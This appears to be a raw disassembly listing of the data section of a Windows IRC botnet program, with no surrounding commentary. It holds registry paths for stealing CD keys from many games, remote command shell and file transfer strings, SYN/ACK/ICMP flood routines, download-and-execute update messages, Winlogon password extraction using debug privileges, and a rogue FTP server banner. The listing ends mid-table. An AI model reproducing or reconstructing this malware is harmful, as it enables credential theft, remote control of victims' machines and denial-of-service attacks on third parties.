aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aKey_0 db 'Key',0 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aKey_1 db 'Key',0 aHalfLife db 'Half-Life',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aPrvkey db 'prvkey',0 align 4 aIndustryGiant2 db 'Industry Giant 2',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aCustomernumber db 'CustomerNumber',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aCdkey_0 db 'CDKey',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 align 4 aProductid db 'ProductId',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2003',0 align 4 aCdkey_1 db 'CDKey',0 align 4 aUnrealTourname db 'Unreal Tournament 2003',0 align 4 aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2004',0 align 10h aCdkey_2 db 'CDKey',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2004',0 align 10h aSoftwareIgi2Re db 'Software\IGI 2 Retail',0 align 4 aCdkey_3 db 'CDKey',0 align 10h aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 aSoftwareElectr db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 aSoftwareElec_0 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aBattlefield194 db 'Battlefield 1942',0 align 10h aSoftwareElec_1 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 aSoftwareElec_2 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 aSoftwareElec_3 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 aSoftwareElec_4 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 10h aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0 align 4 aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0 aCommandAndCo_0 db 'Command and Conquer: Generals',0 align 4 aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0 align 10h aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 aSoftwareEle_15 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 aSoftwareEle_16 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 aSoftwareEle_17 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 aSoftwareEle_18 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 aSoftwareEle_19 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNascarRacing20 db 'Nascar Racing 2002',0 align 4 aSoftwareEle_20 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2003',0 align 4 aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0 align 4 aCdkey_4 db 'CDKey',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 aSoftwareWestwo db 'Software\Westwood\Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSoftwareWest_0 db 'Software\Westwood\Red Alert',0 aSerial_0 db 'Serial',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Red Alert',0 align 4 aSoftwareWest_1 db 'Software\Westwood\Red Alert 2',0 align 4 aSerial_1 db 'Serial',0 align 4 aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0 align 4 aSoftwareWest_2 db 'Software\Westwood\NOX',0 align 10h aSerial_2 db 'Serial',0 align 4 aNox db 'NOX',0 aSoftwareTechla db 'Software\Techland\Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 aChrome db 'Chrome',0 align 10h aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aKey_2 db 'key',0 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 10h aBaseMpSof2key db 'base\mp\sof2key',0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation db 'Location',0 align 4 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aNwncdkey_ini db 'nwncdkey.ini',0 align 4 aKey1 db 'Key1=',0 align 10h aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation_0 db 'Location',0 align 10h aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0 align 4 aNwncdkey_ini_0 db 'nwncdkey.ini',0 align 4 aKey2 db 'Key2=',0 align 4 aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation_1 db 'Location',0 align 4 aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0 align 4 aNwncdkey_ini_1 db 'nwncdkey.ini',0 align 4 aKey3 db 'Key3=',0 align 4 aSS db '%s\%s',0 ; DATA XREF: sub_403FBB+79o align 4 aR: ; DATA XREF: sub_403FBB+8Ao unicode 0, <r>,0 asc_437BD8: ; DATA XREF: sub_403FBB+DEo unicode 0, <=>,0 asc_437BDC: ; DATA XREF: sub_403FBB+E9o unicode 0, <=>,0 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_403FBB+FEo align 4 aSCdKeyS__0 db '%s CD Key: (%s).',0 ; DATA XREF: sub_403FBB+11Bo align 4 aSCdKeyS__1 db '%s CD Key: (%s).',0 ; DATA XREF: sub_403FBB+167o align 4 aRb db 'rb',0 ; DATA XREF: sub_4041AA+Bo align 10h aDccFailedToOpe db '[DCC]: Failed to open socket.',0 ; DATA XREF: sub_40449C+47o align 10h aDccFailedToO_0 db '[DCC]: Failed to open remote command shell.',0 ; DATA XREF: sub_40449C+ABo asc_437C6C: ; DATA XREF: sub_40449C+138o dw 0Ah unicode 0, <>,0 aDccFailedToSen db '[DCC]: Failed to send to Remote command shell.',0 ; DATA XREF: sub_40449C+170o align 10h aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40465D+44o aDccFailedToBin db '[DCC]: Failed to bind to socket.',0 ; DATA XREF: sub_40465D+82o align 4 aDccFailedToO_1 db '[DCC]: Failed to open socket.',0 ; DATA XREF: sub_40465D+FDo align 4 aDccFileDoesnTE db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40465D+127o align 10h dword_437D20 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40465D+16Ao dd 169h aDccSendTimeout db '[DCC]: Send timeout.',0 ; DATA XREF: sub_40465D+1CBo align 10h aDccUnableToOpe db '[DCC]: Unable to open socket.',0 ; DATA XREF: sub_40465D+202o align 10h aDccSocketError db '[DCC]: Socket error.',0 ; DATA XREF: sub_40465D+36Bo align 4 aDccSocketErr_0 db '[DCC]: Socket error.',0 ; DATA XREF: sub_40465D+37Co align 10h aDccTransferCom db '[DCC]: Transfer complete to IP: %s, Filename: %s (%s bytes).',0 ; DATA XREF: sub_40465D+2FAo align 10h aSS_0 db '%s%s',0 ; DATA XREF: sub_404A02+54o align 4 aDccErrorUnable db '[DCC]: Error unable to write file to disk.',0 ; DATA XREF: sub_404A02+83o align 4 aAB db 'a+b',0 ; DATA XREF: sub_404A02+97o aDccErrorOpenin db '[DCC]: Error opening file for writing.',0 ; DATA XREF: sub_404A02+ABo align 10h aDccErrorOpen_0 db '[DCC]: Error opening socket.',0 ; DATA XREF: sub_404A02+CBo align 10h aDccSocketErr_1 db '[DCC]: Socket error.',0 ; DATA XREF: sub_404A02+156o align 4 aDccTransferC_0 db '[DCC]: Transfer complete from IP: %s, Filename: %s (%s bytes).',0 ; DATA XREF: sub_404A02+1CFo align 4 aDdosDoneWithFl db '[DDoS]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_404C3D+5Bo aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_404CEF+F1o align 4 aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_404CEF:loc_404DFFo align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_404CEF:loc_404E1Bo aDdosSendErrorD db '[DDoS]: Send error: <%d>.',0 ; DATA XREF: sub_404CEF+302o align 4 aDownloadCouldn db '[DOWNLOAD]: Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_405084+77o aDownloadFileDo db '[DOWNLOAD]: File download: %s (%dKB transferred).',0 ; DATA XREF: sub_405084+183o align 4 aDownloadUpdate db '[DOWNLOAD]: Update: %s (%dKB transferred).',0 ; DATA XREF: sub_405084+195o align 10h aDownloadFilesi db '[DOWNLOAD]: Filesize is incorrect: (%d != %d).',0 ; DATA XREF: sub_405084+1D8o align 10h aDownloadCrcFai db '[DOWNLOAD]: CRC Failed (%d != %d).',0 ; DATA XREF: sub_405084+262o align 4 aDownloadDownlo db '[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.',0 ; DATA XREF: sub_405084+2E1o aOpen db 'open',0 ; DATA XREF: sub_405084+336o align 10h aDownloadOpened db '[DOWNLOAD]: Opened: %s.',0 ; DATA XREF: sub_405084+358o aDownloadDown_0 db '[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 ; DATA XREF: sub_405084+3C9o aDownloadUpda_0 db '[DOWNLOAD]: Update failed: Error executing file: %s.',0 ; DATA XREF: sub_405084+485o align 4 aDownloadBadUrl db '[DOWNLOAD]: Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_405084+493o align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40562C:loc_40566Fo aInvalid db 'Invalid',0 ; DATA XREF: sub_40562C:loc_405669o aDisk db 'Disk',0 ; DATA XREF: sub_40562C:loc_405663o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40562C:loc_40565Do aCdrom db 'Cdrom',0 ; DATA XREF: sub_40562C:loc_405657o align 4 aRam db 'RAM',0 ; DATA XREF: sub_40562C:loc_405651o a?: ; DATA XREF: sub_40562C+1Fo unicode 0, <?>,0 aFailed db 'failed',0 ; DATA XREF: sub_4056BD+E0o align 4 aFailed_0 db 'failed',0 ; DATA XREF: sub_4056BD+F1o align 4 aFailed_1 db 'failed',0 ; DATA XREF: sub_4056BD+102o align 4 aSkb db '%sKB',0 ; DATA XREF: sub_4056BD+70o align 4 aSkb_0 db '%sKB',0 ; DATA XREF: sub_4056BD+9Bo align 4 aSkb_1 db '%sKB',0 ; DATA XREF: sub_4056BD+C6o align 4 aFailed_2 db 'failed',0 ; DATA XREF: sub_4057E1+3Bo align 4 aMainSDriveSFai db '[MAIN]: %s Drive (%s): Failed to stat, device not ready.',0 ; DATA XREF: sub_4057E1+58o align 4 aMainSDriveSSTo db '[MAIN]: %s Drive (%s): %s total, %s free, %s available.',0 ; DATA XREF: sub_4057E1+8Eo aA db 'A:\',0 ; DATA XREF: sub_4058B3:loc_4058F8o aFindfileSearch db '[FINDFILE]: Searching for file: %s.',0 ; DATA XREF: sub_405A20+5Co aFindfileFilesF db '[FINDFILE]: Files found: %d.',0 ; DATA XREF: sub_405A20+C5o align 4 aS_1 db '%s\*',0 ; DATA XREF: sub_405B38+1Ao align 10h aSS_1 db '%s\%s',0 ; DATA XREF: sub_405B38+7Ao align 4 aSS_2 db '%s\%s',0 ; DATA XREF: sub_405B38+CEo align 10h aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_405B38+107o align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_405C86+40o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_405C86+55o align 10h aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_405C86+68o align 4 aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_405C86+73o align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_405C86+80o aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_405C86+8Do align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_405C86+9Ao align 10h aUsername: ; DATA XREF: sub_405C86+CEo unicode 0, <USERNAME>,0 align 4 aUserdomain: ; DATA XREF: sub_405C86+DCo unicode 0, <USERDOMAIN>,0 align 4 aFindpassTheWin db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_405C86+117o db ' \\%S, User: (%S/(no password)).',0 align 10h aFindpassUnable db '[FINDPASS]: Unable to find the password in memory.',0 ; DATA XREF: sub_405C86:loc_405DCBo align 4 aFindpassUnab_0 db '[FINDPASS]: Unable to find Winlogon Process ID.',0 ; DATA XREF: sub_405C86:loc_405DD2o aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_405C86+161o align 4 aFindpassFailed db '[FINDPASS]: Failed to enable Debug Privilege.',0 ; DATA XREF: sub_405C86:loc_405DFFo align 4 aFindpassOnlySu db '[FINDPASS]: Only supported on Windows NT/2000.',0 ; DATA XREF: sub_405C86+35o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_405E58+AFo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_405E58+123o align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_405E58+13Eo align 4 aFindpassTheW_0 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_4062BE+70o db ' \\%S, User: (%S/%S).',0 align 4 aFindpassTheW_1 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_406355+C7o db ' \\%S, User: (%S/%S).',0 align 4 aFindpassTheW_2 db '[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain:' ; DATA XREF: sub_406355+E1o db ' \\%S, User: (%S/(N/A)).',0 align 10h dword_438570 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4064A6+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4385BC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4064A6+E3o dword_4385D8 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: sub_4064A6+118o dword_4385EC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_4064A6+13Fo a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_406614+1E6o align 4 aSS_3 db '%s %s',0 ; DATA XREF: sub_406614+26Eo align 10h aUser db 'USER',0 ; DATA XREF: sub_406614+27Fo align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_406614+294o align 10h aPass db 'PASS',0 ; DATA XREF: sub_406614+2A4o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_406614+2B8o align 10h aSyst db 'SYST',0 ; DATA XREF: sub_406614+2C8o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_406614+2DCo align 4 aRest db 'REST',0 ; DATA XREF: sub_406614+2ECo align 10h a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_406614+300o align 4 off_438694 dd offset dword_445750 ; DATA XREF: sub_406614+310o a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_406614+324o align 4 aType db 'TYPE',0 ; DATA XREF: sub_406614+334o align 10h aA_0: ; DATA XREF: sub_406614+34Bo unicode 0, <A>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_406614+35Fo aType_0 db 'TYPE',0 ; DATA XREF: sub_406614+36Fo align 10h aI: ; DATA XREF: sub_406614+386o unicode 0, <I>,0 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_406614+39Ao aPasv db 'PASV',0 ; DATA XREF: sub_406614+3AAo align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_406614+3BDo align 4 aList db 'LIST',0 ; DATA XREF: sub_406614+3F8o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_406614+40Bo align 4 aPort db 'PORT',0 ; DATA XREF: sub_406614+439o align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_406614+472o db ']',0 aXX db '%x%x',0Ah,0 ; DATA XREF: sub_406614+4B6o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_406614+4E9o a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_406614+4FAo align 10h aRetr db 'RETR',0 ; DATA XREF: sub_406614+50Ao align 4 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_406614+522o align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_406614+54Eo aFtpFileTransfe db '[FTP]: File transfer complete to IP: %s (%s).',0 ; DATA XREF: sub_406614+567o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_406614+5B2o align 10h aQuit db 'QUIT',0 ; DATA XREF: sub_406614+5BFo align 4 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_406614+5D3o aRb_0 db 'rb',0 ; DATA XREF: sub_406C9A+24o align 4 aGet db 'GET ',0 ; DATA XREF: sub_406D34+26Fo align 10h asc_438880: ; DATA XREF: sub_406D34+292o unicode 0, < >,0 asc_438884: ; DATA XREF: sub_406D34+297o unicode 0, < >,0 aGet_0 db 'GET ',0 ; DATA XREF: sub_406D34+2A2o align 10h asc_438890 db 0Dh,0Ah,0 ; DATA XREF: sub_406D34+2D5o align 4 aHttpdErrorServ db '[HTTPD]: Error: server failed, returned: <%d>.',0 ; DATA XREF: sub_406D34+3FEo align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_407195+5Eo align 10h aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_407195:loc_4071FAo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_407195+83o align 10h aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_407195+97o align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_407195+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_407195+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aS_3 db '\%s',0 ; DATA XREF: sub_407317+2Fo aS_4 db '%s',0 ; DATA XREF: sub_407317+3Ao align 10h aSS_4 db '%s%s',0 ; DATA XREF: sub_407317+EAo align 4 asc_438AE8: ; DATA XREF: sub_407317+FBo dw 0Ah unicode 0, <>,0 asc_438AEC: ; DATA XREF: sub_407317+157o unicode 0, <*>,0 aHttpdWorkerThr db '[HTTPD]: Worker thread of server thread: %d.',0 ; DATA XREF: sub_407317+20Bo align 10h aHttpdFailedT_0 db '[HTTPD]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: sub_407317+28Fo align 4 asc_438B58: ; DATA XREF: sub_4075C7+29o dw 0Ah unicode 0, <>,0 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4075C7+4Bo aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_4075C7+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4075C7+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4075C7+147o aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 a__ db '..',0 ; DATA XREF: sub_4075C7+232o align 4 a_: ; DATA XREF: sub_4075C7+24Do unicode 0, <.>,0 aPm db 'PM',0 ; DATA XREF: sub_4075C7+285o align 4 aAm db 'AM',0 ; DATA XREF: sub_4075C7+290o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_4075C7+2BAo aS_5 db '<%s>',0 ; DATA XREF: sub_4075C7+2E4o align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_4075C7+30Eo align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+330o db '<TD WIDTH="%d"><A HREF="',0 align 4 aSS_5 db '%s%s/',0 ; DATA XREF: sub_4075C7+374o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4075C7+3BBo align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4075C7:loc_407989o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_4075C7+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aS_6 db '<%s>',0 ; DATA XREF: sub_4075C7+413o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4075C7+434o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4075C7+471o align 4 aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+486o db '<TD WIDTH="%d"><A HREF="',0 align 4 aSS_6 db '%s%s',0 ; DATA XREF: sub_4075C7+4CAo align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4075C7+511o align 4 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4075C7:loc_407ADFo align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_4075C7+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4075C7+589o align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_4075C7+618o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_4075C7+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_4075C7+64Eo align 4 aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_407D34+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 aIcmpErrorSocke db '[ICMP]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_407E55+49o aIcmpErrorSetso db '[ICMP]: Error: setsockopt() failed, returned: <%d>.',0 ; DATA XREF: sub_407E55+C2o aIcmpInvalidTar db '[ICMP]: Invalid target IP.',0 ; DATA XREF: sub_407E55+12Ao align 10h aIcmpErrorSendi db '[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return' ; DATA XREF: sub_407E55+307o db 'ed: <%d>.',0 align 4 aIcmpDoneWithSF db '[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s' ; DATA XREF: sub_407E55+397o db 'ec (%dMB).',0 aIdentdClientCo db '[IDENTD]: Client connection from IP: %s:%d.',0 ; DATA XREF: sub_40823C+BBo aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40823C+113o aIdentdErrorSer db '[IDENTD]: Error: server failed, returned: <%d>.',0 ; DATA XREF: sub_40823C+16Eo aNotice db 'NOTICE',0 ; DATA XREF: sub_40842D+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40842D+16o aS_7 db '%s',0 ; DATA XREF: sub_40842D+3Bo align 10h aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40842D+58o align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4085A9:loc_40868Co unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 